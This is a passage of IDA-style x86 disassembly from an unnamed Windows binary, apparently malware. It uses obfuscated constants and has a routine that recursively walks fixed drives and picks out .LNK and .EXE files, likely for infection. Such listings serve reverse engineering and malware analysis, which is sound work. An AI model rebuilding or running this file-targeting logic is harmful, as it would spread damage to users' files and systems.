imul esi, edx
add edi, esi
cmp edi, [ebp+var_10064]
jnb short loc_43CA53
mov edi, [ebp+var_10050]
and ds:dword_445130[edi*4], 0
loc_43CA53: ; CODE XREF: sub_43C5EA+42Fj
; sub_43C5EA+459j
inc [ebp+var_10050]
loc_43CA59: ; CODE XREF: sub_43C5EA+41Cj
mov eax, dword_44A200
add eax, 3E3h
cmp [ebp+var_10050], eax
jb short loc_43CA08
movsx eax, word_44A264
movsx edx, word_44A180
add eax, edx
sub eax, 0Dh
mov [ebp+var_10058], eax
jmp short loc_43CA9C
; ---------------------------------------------------------------------------
loc_43CA86: ; CODE XREF: sub_43C5EA+4C2j
mov edi, [ebp+var_10058]
cmp ds:dword_445130[edi*4], 0
jz short loc_43CAAE
inc [ebp+var_10058]
loc_43CA9C: ; CODE XREF: sub_43C5EA+49Aj
mov eax, dword_44A20C
add eax, 3E2h
cmp [ebp+var_10058], eax
jb short loc_43CA86
loc_43CAAE: ; CODE XREF: sub_43C5EA+4AAj
mov edi, [ebp+var_10058]
mov esi, [ebp+var_10060]
mov ds:dword_444060[edi*4], esi
mov eax, edi
mov dl, [ebp+var_10059]
mov ds:byte_446200[eax], dl
movsx eax, word_44A100
sub eax, 3
cmp [ebp+var_10080], eax
jbe loc_43CB83
movsx esi, word_44A0B0
add esi, 0FFF8h
mov ds:word_446A50[edi*2], si
mov eax, dword_44A204
dec eax
mov [ebp+var_10088], eax
jmp short loc_43CB66
; ---------------------------------------------------------------------------
loc_43CB09: ; CODE XREF: sub_43C5EA+595j
mov edi, [ebp+var_10088]
mov esi, edi
shl esi, 2
cmp ds:dword_445130[esi], 0
jz short loc_43CB60
movzx edx, ds:word_446A50[edi*2]
mov ecx, dword_44A284
add ecx, 0FFF6h
cmp edx, ecx
jz short loc_43CB60
mov edx, [ebp+var_10060]
cmp ds:dword_444060[esi], edx
jnz short loc_43CB60
mov dl, ds:byte_446200[edi]
cmp dl, [ebp+var_10059]
jnz short loc_43CB60
lea edi, ds:446A50h[edi*2]
inc word ptr [edi]
jmp short loc_43CB9A
; ---------------------------------------------------------------------------
loc_43CB60: ; CODE XREF: sub_43C5EA+532j
; sub_43C5EA+54Aj ...
inc [ebp+var_10088]
loc_43CB66: ; CODE XREF: sub_43C5EA+51Dj
mov eax, dword_44A1F4
add eax, 3DEh
movsx edx, word_44A230
add eax, edx
cmp [ebp+var_10088], eax
jb short loc_43CB09
jmp short loc_43CB9A
; ---------------------------------------------------------------------------
loc_43CB83: ; CODE XREF: sub_43C5EA+4F6j
mov edi, [ebp+var_10058]
mov esi, dword_44A284
sub esi, 8
mov ds:word_446A50[edi*2], si
loc_43CB9A: ; CODE XREF: sub_43C5EA+574j
; sub_43C5EA+597j
call ds:dword_449770 ; GetTickCount
mov edi, [ebp+var_10058]
mov ds:dword_448660[edi*4], eax
lea esi, off_44A354
mov ds:dword_445130[edi*4], esi
mov edi, [ebp+var_10058]
lea edi, ds:445130h[edi*4]
mov [ebp+var_10084], edi
mov eax, edi
push eax
mov esi, [eax]
call dword ptr [esi+4]
mov [ebp+var_10078], 9
mov edi, [ebp+var_10058]
lea edi, ds:445130h[edi*4]
mov [ebp+var_10070], edi
lea esi, [ebp+var_10078]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_1007C]
push edi
mov edi, [edi]
call dword ptr [edi+0A4h]
mov ebx, eax
inc [ebp+var_10058]
lea eax, [ebp+var_10078]
push eax
call ds:dword_449BB0
mov eax, [ebp+var_1007C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_43CC33: ; CODE XREF: sub_43C5EA+158j
; sub_43C5EA+165j ...
cmp [ebp+var_10048], 0
jz short loc_43CC48
mov eax, [ebp+var_10048]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_43CC48: ; CODE XREF: sub_43C5EA+650j
cmp [ebp+var_4], 0
jz short loc_43CC57
mov eax, [ebp+var_4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_43CC57: ; CODE XREF: sub_43C5EA+11Bj
; sub_43C5EA+662j
inc [ebp+var_1C]
loc_43CC5A: ; CODE XREF: sub_43C5EA+CDj
mov eax, [ebp+var_28]
cmp [ebp+var_1C], eax
jb loc_43C6BC
loc_43CC66: ; CODE XREF: sub_43C5EA+B6j
mov eax, [ebp+var_24]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_43CC6F: ; CODE XREF: sub_43C5EA+8Ej
mov eax, [ebp+var_2C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
xor eax, eax
loc_43CC7A: ; CODE XREF: sub_43C5EA+5Fj
; sub_43C5EA+1E6j
pop edi
pop esi
pop ebx
leave
retn
sub_43C5EA endp
; =============== S U B R O U T I N E =======================================
sub_43CC7F proc near ; DATA XREF: .data:0044A380o
mov eax, 80004001h
retn 8
sub_43CC7F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43CC87 proc near ; CODE XREF: sub_440F46+346p
; sub_440F46+440p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
xor edx, edx
div esi
mov edi, dword_44A1CC
sub edi, 6
cmp edx, edi
jnz short loc_43CCAB
mov eax, [ebp+arg_0]
jmp short loc_43CCC5
; ---------------------------------------------------------------------------
loc_43CCAB: ; CODE XREF: sub_43CC87+1Dj
mov eax, [ebp+arg_0]
xor edx, edx
div esi
mov [ebp+var_8], eax
mov edi, eax
mul esi
mov [ebp+var_C], eax
mov edi, eax
add edi, esi
mov [ebp+var_4], edi
mov eax, edi
loc_43CCC5: ; CODE XREF: sub_43CC87+22j
pop edi
pop esi
leave
retn
sub_43CC87 endp
; =============== S U B R O U T I N E =======================================
sub_43CCC9 proc near ; CODE XREF: sub_440511+259p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov ecx, esi
mov eax, dword_44A154
movsx edx, word_44A098
add eax, edx
sub eax, 2
cmp ecx, eax
jge short loc_43CD1F
mov eax, dword_44A0C4
movsx edx, word_44A1F0
add eax, edx
sub eax, 5
imul ecx, eax
mov eax, dword_44A09C
sub eax, 4
mov edx, esi
add edx, eax
movsx eax, word_44A27C
add eax, dword_44A15C
sub eax, 9
imul edx, eax
sub ecx, edx
jmp loc_43CE5C
; ---------------------------------------------------------------------------
loc_43CD1F: ; CODE XREF: sub_43CCC9+1Aj
dec ecx
mov eax, dword_44A09C
add eax, 0Eh
add eax, dword_44A0AC
cmp ecx, eax
jge short loc_43CD5F
movsx eax, word_44A1E0
add eax, dword_44A0AC
sub eax, 2
imul ecx, eax
mov eax, ecx
sub eax, esi
mov edx, dword_44A1BC
inc edx
add edx, dword_44A1A0
mov ecx, eax
sub ecx, edx
jmp loc_43CE5C
; ---------------------------------------------------------------------------
loc_43CD5F: ; CODE XREF: sub_43CCC9+67j
dec ecx
movsx eax, word_44A0E0
mov edx, dword_44A14C
lea eax, [eax+edx+1Bh]
cmp ecx, eax
jge short loc_43CD97
movsx eax, word_44A0A4
add eax, dword_44A234
sub eax, 7
imul ecx, eax
mov eax, dword_44A158
add eax, 39h
sub ecx, eax
jmp loc_43CE5C
; ---------------------------------------------------------------------------
loc_43CD97: ; CODE XREF: sub_43CCC9+AAj
dec ecx
mov eax, dword_44A154
add eax, 1Dh
cmp ecx, eax
jge short loc_43CDC4
movsx eax, word_44A16C
inc eax
imul ecx, eax
mov eax, dword_44A0C4
add eax, 39h
add eax, dword_44A0D4
sub ecx, eax
jmp loc_43CE5C
; ---------------------------------------------------------------------------
loc_43CDC4: ; CODE XREF: sub_43CCC9+D9j
dec ecx
movsx eax, word_44A1E0
mov edx, dword_44A0B4
lea eax, [eax+edx+21h]
cmp ecx, eax
jge short loc_43CE02
movsx eax, word_44A264
add eax, dword_44A114
sub eax, 0Fh
imul ecx, eax
movsx eax, word_44A174
mov edx, dword_44A138
lea eax, [eax+edx+4Dh]
sub ecx, eax
jmp short loc_43CE5C
; ---------------------------------------------------------------------------
loc_43CE02: ; CODE XREF: sub_43CCC9+10Fj
dec ecx
mov eax, dword_44A1EC
add eax, 2Eh
cmp ecx, eax
jge short loc_43CE28
mov eax, dword_44A10C
sub eax, 4
imul ecx, eax
movsx eax, word_44A0B0
add eax, 63h
sub ecx, eax
jmp short loc_43CE5C
; ---------------------------------------------------------------------------
loc_43CE28: ; CODE XREF: sub_43CCC9+144j
dec ecx
mov eax, dword_44A198
add eax, 37h
cmp ecx, eax
jge short loc_43CE4C
mov eax, dword_44A11C
sub eax, 3
imul ecx, eax
mov eax, dword_44A17C
add eax, 6Bh
sub ecx, eax
jmp short loc_43CE5C
; ---------------------------------------------------------------------------
loc_43CE4C: ; CODE XREF: sub_43CCC9+16Aj
mov eax, dword_44A18C
add eax, 34h
add eax, dword_44A120
sub ecx, eax
loc_43CE5C: ; CODE XREF: sub_43CCC9+51j
; sub_43CCC9+91j ...
mov eax, ecx
pop esi
retn
sub_43CCC9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43CE60 proc near ; DATA XREF: .data:0044A3A0o
push ebp
mov ebp, esp
movsx eax, word_44A1C0
sub eax, 4
cmp ds:dword_446608, eax
jbe short loc_43CE80
push offset dword_446608
call ds:dword_444010 ; InterlockedDecrement
loc_43CE80: ; CODE XREF: sub_43CE60+13j
mov eax, ds:dword_446608
pop ebp
retn 4
sub_43CE60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43CE89 proc near ; DATA XREF: .data:0044A36Co
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov eax, [ebp+arg_10]
mov word ptr [ebp+arg_10], ax
movsx eax, word_44A22C
add eax, 3
cmp ds:dword_446620, eax
jnb short loc_43CEB9
mov eax, dword_44A258
sub eax, 2
mov ds:dword_446620, eax
loc_43CEB9: ; CODE XREF: sub_43CE89+21j
mov eax, dword_44A280
mov edi, eax
add edi, dword_44A210
sub edi, 5
jmp short loc_43CED7
; ---------------------------------------------------------------------------
loc_43CECB: ; CODE XREF: sub_43CE89+5Aj
lea ebx, ds:445130h[edi*4]
cmp esi, ebx
jz short loc_43CEE5
inc edi
loc_43CED7: ; CODE XREF: sub_43CE89+40j
mov eax, dword_44A0F4
add eax, 3E1h
cmp edi, eax
jb short loc_43CECB
loc_43CEE5: ; CODE XREF: sub_43CE89+4Bj
mov eax, dword_44A094
add eax, 3DCh
movsx edx, word_44A230
add eax, edx
cmp edi, eax
jnz short loc_43CF03
xor eax, eax
jmp loc_43D051
; ---------------------------------------------------------------------------
loc_43CF03: ; CODE XREF: sub_43CE89+71j
movzx esi, ds:word_446A50[edi*2]
mov ebx, dword_44A0AC
movsx edx, word_44A27C
add ebx, edx
sub ebx, 4
cmp esi, ebx
jnz short loc_43CF48
movzx eax, ds:byte_446200[edi]
push eax
push ds:dword_444060[edi*4]
call sub_44243E
add esp, 8
and ds:dword_445130[edi*4], 0
xor eax, eax
jmp loc_43D051
; ---------------------------------------------------------------------------
loc_43CF48: ; CODE XREF: sub_43CE89+96j
movzx esi, ds:word_446A50[edi*2]
mov ebx, dword_44A15C
add ebx, 0FFF6h
cmp esi, ebx
jnz loc_43D02F
mov eax, dword_44A110
movsx edx, word_44A0D8
add eax, edx
sub eax, 7
mov [ebp+var_4], eax
jmp loc_43D018
; ---------------------------------------------------------------------------
loc_43CF7D: ; CODE XREF: sub_43CE89+19Cj
mov esi, [ebp+var_4]
mov ebx, esi
shl ebx, 2
cmp ds:dword_445130[ebx], 0
jz loc_43D015
movzx edx, ds:word_446A50[esi*2]
movsx ecx, word_44A0C0
add ecx, 0FFFDh
cmp edx, ecx
jz short loc_43D015
mov edx, ds:dword_444060[edi*4]
cmp ds:dword_444060[ebx], edx
jnz short loc_43D015
mov bl, ds:byte_446200[esi]
cmp bl, ds:byte_446200[edi]
jnz short loc_43D015
movzx esi, ds:word_446A50[esi*2]
mov ebx, dword_44A09C
sub ebx, 4
cmp esi, ebx
jnz short loc_43D006
mov esi, [ebp+var_4]
movzx ebx, ds:byte_446200[esi]
push ebx
push ds:dword_444060[esi*4]
call sub_44243E
add esp, 8
and ds:dword_445130[edi*4], 0
jmp short loc_43D02B
; ---------------------------------------------------------------------------
loc_43D006: ; CODE XREF: sub_43CE89+156j
mov esi, [ebp+var_4]
lea esi, ds:446A50h[esi*2]
dec word ptr [esi]
jmp short loc_43D02B
; ---------------------------------------------------------------------------
loc_43D015: ; CODE XREF: sub_43CE89+104j
; sub_43CE89+121j ...
inc [ebp+var_4]
loc_43D018: ; CODE XREF: sub_43CE89+EFj
mov eax, dword_44A28C
add eax, 3E2h
cmp [ebp+var_4], eax
jb loc_43CF7D
loc_43D02B: ; CODE XREF: sub_43CE89+17Bj
; sub_43CE89+18Aj
xor eax, eax
jmp short loc_43D051
; ---------------------------------------------------------------------------
loc_43D02F: ; CODE XREF: sub_43CE89+D5j
movzx esi, ds:word_446A50[edi*2]
mov ebx, dword_44A274
add ebx, dword_44A18C
cmp esi, ebx
jle short loc_43D04F
dec ds:word_446A50[edi*2]
loc_43D04F: ; CODE XREF: sub_43CE89+1BCj
xor eax, eax
loc_43D051: ; CODE XREF: sub_43CE89+75j
; sub_43CE89+BAj ...
pop edi
pop esi
pop ebx
leave
retn 24h
sub_43CE89 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43D058 proc near ; CODE XREF: sub_43B523+B8p
; sub_43B622+1CDp ...
var_EF38 = dword ptr -0EF38h
var_EF34 = dword ptr -0EF34h
var_EF30 = dword ptr -0EF30h
var_EF2C = byte ptr -0EF2Ch
var_EF2B = byte ptr -0EF2Bh
var_EE2C = dword ptr -0EE2Ch
var_EE24 = byte ptr -0EE24h
arg_0 = byte ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
mov eax, 0EF38h
call sub_442F6C
push ebx
push esi
push edi
mov edi, dword_44A288
movsx esi, word_44A160
add edi, esi
imul edi, 3C0h
sub edi, 12C0h
movsx esi, word_44A1C0
lea edi, [edi+esi+0EA5Ch]
shl edi, 1
mov [ebp+var_EF38], edi
push edi
call sub_442EF1
add esp, 4
mov [ebp+var_EE2C], eax
movzx eax, [ebp+arg_0]
mov edx, dword_44A200
add edx, dword_44A0A0
sub edx, 8
cmp eax, edx
jnz short loc_43D0E2
push offset asc_44B171 ; "\a"
call sub_43C507
add esp, 4
push eax
lea edi, [ebp+var_EE24]
push edi
call ds:dword_449634
add esp, 8
jmp loc_43D1F0
; ---------------------------------------------------------------------------
loc_43D0E2: ; CODE XREF: sub_43D058+65j
call ds:dword_447228
mov ebx, eax
mov [ebp+var_EF2C], bl
movzx eax, [ebp+arg_0]
mov edx, dword_44A164
add edx, dword_44A0C4
sub edx, 9
cmp eax, edx
jnz short loc_43D15F
mov eax, dword_44A0F0
add eax, 6
add eax, dword_44A18C
and eax, 0FFh
push eax
lea eax, [ebp+var_EF2B]
push eax
push [ebp+arg_8]
call sub_440AF2
add esp, 0Ch
push offset asc_44B141 ; ","
call sub_43C507
add esp, 4
movzx edi, [ebp+var_EF2C]
push edi
lea edi, [ebp+var_EF2B]
push edi
push eax
lea edi, [ebp+var_EE24]
push edi
call ds:dword_449634
add esp, 10h
jmp loc_43D1F0
; ---------------------------------------------------------------------------
loc_43D15F: ; CODE XREF: sub_43D058+ADj
mov eax, dword_44A194
sub eax, 9
and eax, 0FFh
push eax
lea eax, [ebp+var_EF2B]
push eax
push dword_44A370
call sub_440AF2
add esp, 0Ch
push offset a_ ; "_"
call sub_43C507
add esp, 4
mov edi, [ebp+arg_18]
mov esi, [ebp+arg_8]
mov ebx, edi
add ebx, esi
push ebx
movsx ebx, word_44A1DC
movsx edx, word_44A170
add ebx, edx
dec ebx
push ebx
push [ebp+arg_1C]
push edi
push [ebp+arg_14]
movzx edi, [ebp+var_EF2C]
push edi
mov edi, esi
sub edi, [ebp+arg_C]
movsx esi, word_44A104
sub esi, 4
sub edi, esi
push edi
push offset dword_447230
push [ebp+arg_10]
push [ebp+arg_20]
lea edi, [ebp+var_EF2B]
push edi
push eax
lea edi, [ebp+var_EE24]
push edi
call ds:dword_449634
add esp, 34h
loc_43D1F0: ; CODE XREF: sub_43D058+85j
; sub_43D058+102j
push [ebp+var_EF38]
push [ebp+var_EE2C]
movsx eax, word_44A130
movsx edx, word_44A16C
add eax, edx
sub eax, 3
neg eax
push eax
lea eax, [ebp+var_EE24]
push eax
mov eax, dword_44A21C
sub eax, 8
push eax
push 0
call ds:dword_449640 ; MultiByteToWideChar
push offset asc_44B0C4 ; "\t"
call sub_43F767
add esp, 4
push eax
call ds:dword_444044
mov [ebp+var_EF30], eax
push [ebp+var_EE2C]
call ds:dword_444044
mov [ebp+var_EF34], eax
push eax
push [ebp+var_EF30]
mov eax, [ebp+arg_4]
push eax
mov ebx, [eax]
call dword ptr [ebx+104h]
push [ebp+var_EF34]
call ds:dword_449BA0
push [ebp+var_EF30]
call ds:dword_449BA0
lea esp, [ebp-0EF44h]
pop edi
pop esi
pop ebx
leave
retn
sub_43D058 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43D28C proc near ; CODE XREF: sub_43ABE3+B6p
; sub_43ABE3+EDp ...
var_4 = dword ptr -4
arg_0 = byte ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push edi
movzx eax, [ebp+arg_0]
mov ecx, 2Bh
mov edx, 2FA0BE83h
mul edx
shr edx, 3
mov [ebp+var_4], edx
mov edi, edx
mov ebx, edi
mov [ebp+arg_0], bl
movzx eax, [ebp+arg_0]
mov edx, dword_44A280
sub edx, 4
cmp eax, edx
jnz short loc_43D2CA
mov eax, 65h
jmp loc_43D353
; ---------------------------------------------------------------------------
loc_43D2CA: ; CODE XREF: sub_43D28C+32j
movzx eax, [ebp+arg_0]
movsx edx, word_44A0CC
sub edx, 6
cmp eax, edx
jnz short loc_43D2E3
mov eax, 79h
jmp short loc_43D353
; ---------------------------------------------------------------------------
loc_43D2E3: ; CODE XREF: sub_43D28C+4Ej
movzx eax, [ebp+arg_0]
mov edx, dword_44A20C
add edx, dword_44A120
sub edx, 9
cmp eax, edx
jnz short loc_43D301
mov eax, 75h
jmp short loc_43D353
; ---------------------------------------------------------------------------
loc_43D301: ; CODE XREF: sub_43D28C+6Cj
movzx eax, [ebp+arg_0]
mov edx, dword_44A1E4
add edx, dword_44A274
sub edx, 2
cmp eax, edx
jnz short loc_43D31F
mov eax, 69h
jmp short loc_43D353
; ---------------------------------------------------------------------------
loc_43D31F: ; CODE XREF: sub_43D28C+8Aj
movzx eax, [ebp+arg_0]
mov edx, dword_44A28C
add edx, dword_44A25C
sub edx, 0Ah
cmp eax, edx
jnz short loc_43D33D
mov eax, 6Fh
jmp short loc_43D353
; ---------------------------------------------------------------------------
loc_43D33D: ; CODE XREF: sub_43D28C+A8j
movzx eax, [ebp+arg_0]
mov edx, dword_44A154
sub edx, 2
cmp eax, edx
jnz short loc_43D353
mov eax, 61h
loc_43D353: ; CODE XREF: sub_43D28C+39j
; sub_43D28C+55j ...
pop edi
pop ebx
leave
retn
sub_43D28C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43D357 proc near ; CODE XREF: sub_43963B+3Ep
; sub_43D357+2D8p ...
var_252 = byte ptr -252h
var_248 = dword ptr -248h
var_242 = byte ptr -242h
var_13E = byte ptr -13Eh
var_112 = byte ptr -112h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 254h
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
cmp [ebp+arg_8], 0
jz short loc_43D385
mov eax, dword_44A1E8
add eax, dword_44A0B8
sub eax, 4
mov [ebp+var_248], eax
jmp loc_43D415
; ---------------------------------------------------------------------------
loc_43D385: ; CODE XREF: sub_43D357+13j
mov edx, [ebp+arg_4]
mov ecx, dword_44A1C4
add ecx, dword_44A1CC
sub ecx, 0Bh
cmp ds:dword_446630[edx*4], ecx
jnz short loc_43D3B6
push ebx
call ds:dword_44660C ; FindClose
mov eax, dword_44A1B8
sub eax, 4
push eax
call ds:dword_449664 ; ExitThread
loc_43D3B6: ; CODE XREF: sub_43D357+47j
mov eax, dword_44A154
add eax, 5Dh
add eax, dword_44A18C
mov [ebp+var_248], eax
push offset byte_44B0B9
call sub_43C507
push [ebp+arg_4]
push eax
lea edx, [ebp+var_252]
push edx
call ds:dword_449634
add esp, 10h
lea eax, [ebp+var_252]
push eax
call ds:dword_449668 ; GetDriveTypeA
cmp eax, 3
jnz short loc_43D415
movsx eax, word_44A22C
movsx edx, word_44A144
lea eax, [eax+edx+11Fh]
mov [ebp+var_248], eax
loc_43D415: ; CODE XREF: sub_43D357+29j
; sub_43D357+A1j
xor edi, edi
inc edi
push offset word_44B0B2
call sub_43C507
push esi
push eax
lea edx, [ebp+var_242]
push edx
call ds:dword_449634
add esp, 10h
mov ecx, esi
or eax, 0FFFFFFFFh
loc_43D439: ; CODE XREF: sub_43D357+E7j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43D439
movsx ecx, word_44A1DC
add ecx, 4
mov edx, eax
sub edx, ecx
cmp byte ptr [esi+edx], 2Eh
jnz loc_43D4EF
lea ecx, [esi]
or eax, 0FFFFFFFFh
loc_43D45D: ; CODE XREF: sub_43D357+10Bj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43D45D
mov ecx, dword_44A128
sub ecx, 5
mov edx, eax
sub edx, ecx
movsx edx, byte ptr [esi+edx]
push edx
call ds:dword_444030
add esp, 4
cmp eax, 4Ch
jnz short loc_43D4EF
lea ecx, [esi]
or eax, 0FFFFFFFFh
loc_43D489: ; CODE XREF: sub_43D357+137j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43D489
mov edx, eax
mov ecx, dword_44A248
movsx eax, word_44A0BC
add ecx, eax
sub ecx, 6
sub edx, ecx
movsx edx, byte ptr [esi+edx]
push edx
call ds:dword_444030
add esp, 4
cmp eax, 4Eh
jnz short loc_43D4EF
lea ecx, [esi]
or eax, 0FFFFFFFFh
loc_43D4BE: ; CODE XREF: sub_43D357+16Cj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43D4BE
movsx ecx, word_44A150
sub ecx, 6
mov edx, eax
sub edx, ecx
movsx edx, byte ptr [esi+edx]
push edx
call ds:dword_444030
add esp, 4
cmp eax, 4Bh
jnz short loc_43D4EF
push esi
call sub_43BD90
add esp, 4
loc_43D4EF: ; CODE XREF: sub_43D357+FBj
; sub_43D357+12Bj ...
mov ecx, esi
or eax, 0FFFFFFFFh
loc_43D4F4: ; CODE XREF: sub_43D357+1A2j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43D4F4
movsx ecx, word_44A0BC
add ecx, dword_44A1F4
sub ecx, 8
mov edx, eax
sub edx, ecx
cmp byte ptr [esi+edx], 2Eh
jnz loc_43D5C2
lea ecx, [esi]
or eax, 0FFFFFFFFh
loc_43D51E: ; CODE XREF: sub_43D357+1CCj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43D51E
movsx ecx, word_44A0CC
add ecx, dword_44A1B0
sub ecx, 0Ah
mov edx, eax
sub edx, ecx
movsx edx, byte ptr [esi+edx]
push edx
call ds:dword_444030
add esp, 4
cmp eax, 45h
jnz short loc_43D5C2
lea ecx, [esi]
or eax, 0FFFFFFFFh
loc_43D551: ; CODE XREF: sub_43D357+1FFj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43D551
mov ecx, dword_44A278
add ecx, dword_44A20C
sub ecx, 5
mov edx, eax
sub edx, ecx
movsx edx, byte ptr [esi+edx]
push edx
call ds:dword_444030
add esp, 4
cmp eax, 58h
jnz short loc_43D5C2
lea ecx, [esi]
or eax, 0FFFFFFFFh
loc_43D583: ; CODE XREF: sub_43D357+231j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43D583
mov edx, eax
mov ecx, dword_44A134
movsx eax, word_44A250
add ecx, eax
sub ecx, 7
sub edx, ecx
movsx edx, byte ptr [esi+edx]
push edx
call ds:dword_444030
add esp, 4
cmp eax, 45h
jnz short loc_43D5C2
push [ebp+var_248]
push esi
call sub_44029C
add esp, 8
loc_43D5C2: ; CODE XREF: sub_43D357+1BCj
; sub_43D357+1F3j ...
lea eax, [ebp+var_13E]
push eax
lea eax, [ebp+var_242]
push eax
call ds:dword_447258 ; FindFirstFileA
mov ebx, eax
movsx eax, word_44A22C
movsx edx, word_44A104
add eax, edx
sub eax, 0Eh
neg eax
cmp ebx, eax
jz loc_43D6AC
cmp [ebp+var_112], 2Eh
jz loc_43D6A8
push offset byte_44B0A9
call sub_43C507
lea edx, [ebp+var_112]
push edx
push esi
push eax
lea edx, [ebp+var_242]
push edx
call ds:dword_449634
push [ebp+arg_8]
push [ebp+arg_4]
lea eax, [ebp+var_242]
push eax
call sub_43D357
add esp, 20h
jmp short loc_43D6A8
; ---------------------------------------------------------------------------
loc_43D639: ; CODE XREF: sub_43D357+353j
lea eax, [ebp+var_13E]
push eax
push ebx
call ds:dword_445004 ; FindNextFileA
mov edi, eax
or edi, edi
jnz short loc_43D66A
mov eax, [ebp+var_248]
add eax, ds:dword_449638
push eax
call ds:dword_449630
pop ecx
push ebx
call ds:dword_44660C ; FindClose
jmp short loc_43D6AC
; ---------------------------------------------------------------------------
loc_43D66A: ; CODE XREF: sub_43D357+2F4j
cmp [ebp+var_112], 2Eh
jz short loc_43D6A8
push offset dword_44B0A0
call sub_43C507
lea edx, [ebp+var_112]
push edx
push esi
push eax
lea edx, [ebp+var_242]
push edx
call ds:dword_449634
push [ebp+arg_8]
push [ebp+arg_4]
lea eax, [ebp+var_242]
push eax
call sub_43D357
add esp, 20h
loc_43D6A8: ; CODE XREF: sub_43D357+2A5j
; sub_43D357+2E0j ...
or edi, edi
jnz short loc_43D639
loc_43D6AC: ; CODE XREF: sub_43D357+298j
; sub_43D357+311j
pop edi
pop esi
pop ebx
leave
retn
sub_43D357 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43D6B1 proc near ; CODE XREF: sub_43EC0A+2F3p
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = word ptr -38h
var_30 = dword ptr -30h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
mov eax, dword_44A23C
sub eax, 5
mov [ebp+var_4], eax
jmp short loc_43D6DD
; ---------------------------------------------------------------------------
loc_43D6C7: ; CODE XREF: sub_43D6B1+40j
mov eax, 30h
mul [ebp+var_4]
mov [ebp+var_20], eax
and ds:dword_447370[eax], 0
inc [ebp+var_4]
loc_43D6DD: ; CODE XREF: sub_43D6B1+14j
movsx eax, word_44A264
mov edx, dword_44A0A0
lea eax, [eax+edx+57h]
cmp [ebp+var_4], eax
jb short loc_43D6C7
push 0
call ds:dword_4460D0
push offset dword_44A394
push offset dword_44BAB8
push 7
push 0
push offset dword_44B9F8
call ds:dword_446624
mov ebx, eax
mov eax, dword_44A11C
sub eax, 5
cmp ebx, eax
jnz loc_43D8D9
lea eax, [ebp+var_C]
push eax
mov eax, dword_44A394
push eax
mov edi, [eax]
call dword ptr [edi+1Ch]
mov ebx, eax
mov eax, dword_44A190
sub eax, 2
cmp ebx, eax
jnz short loc_43D759
mov eax, dword_44A10C
movsx edx, word_44A208
add eax, edx
sub eax, 0Bh
cmp [ebp+var_C], eax
jnz short loc_43D75E
loc_43D759: ; CODE XREF: sub_43D6B1+90j
jmp loc_43D869
; ---------------------------------------------------------------------------
loc_43D75E: ; CODE XREF: sub_43D6B1+A6j
mov eax, dword_44A1D4
movsx edx, word_44A130
add eax, edx
sub eax, 5
mov [ebp+var_8], eax
jmp loc_43D85D
; ---------------------------------------------------------------------------
loc_43D777: ; CODE XREF: sub_43D6B1+1B2j
mov [ebp+var_38], 3
mov eax, [ebp+var_8]
mov [ebp+var_30], eax
lea eax, [ebp+var_3C]
push eax
lea esi, [ebp+var_38]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, dword_44A394
push edi
mov edi, [edi]
call dword ptr [edi+20h]
mov ebx, eax
movsx eax, word_44A144
add eax, dword_44A0A0
sub eax, 0Ah
cmp ebx, eax
jnz loc_43D85A
lea eax, [ebp+var_40]
push eax
push offset dword_44BAD8
mov eax, [ebp+var_3C]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_44A1D0
movsx edx, word_44A264
add eax, edx
sub eax, 10h
cmp ebx, eax
jnz short loc_43D851
lea eax, off_44A390
mov [ebp+var_24], eax
push eax
mov esi, [eax]
call dword ptr [esi+4]
lea eax, [ebp+var_44]
push eax
push offset dword_44BA18
mov eax, [ebp+var_24]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_44A110
sub eax, 5
cmp ebx, eax
jnz short loc_43D83F
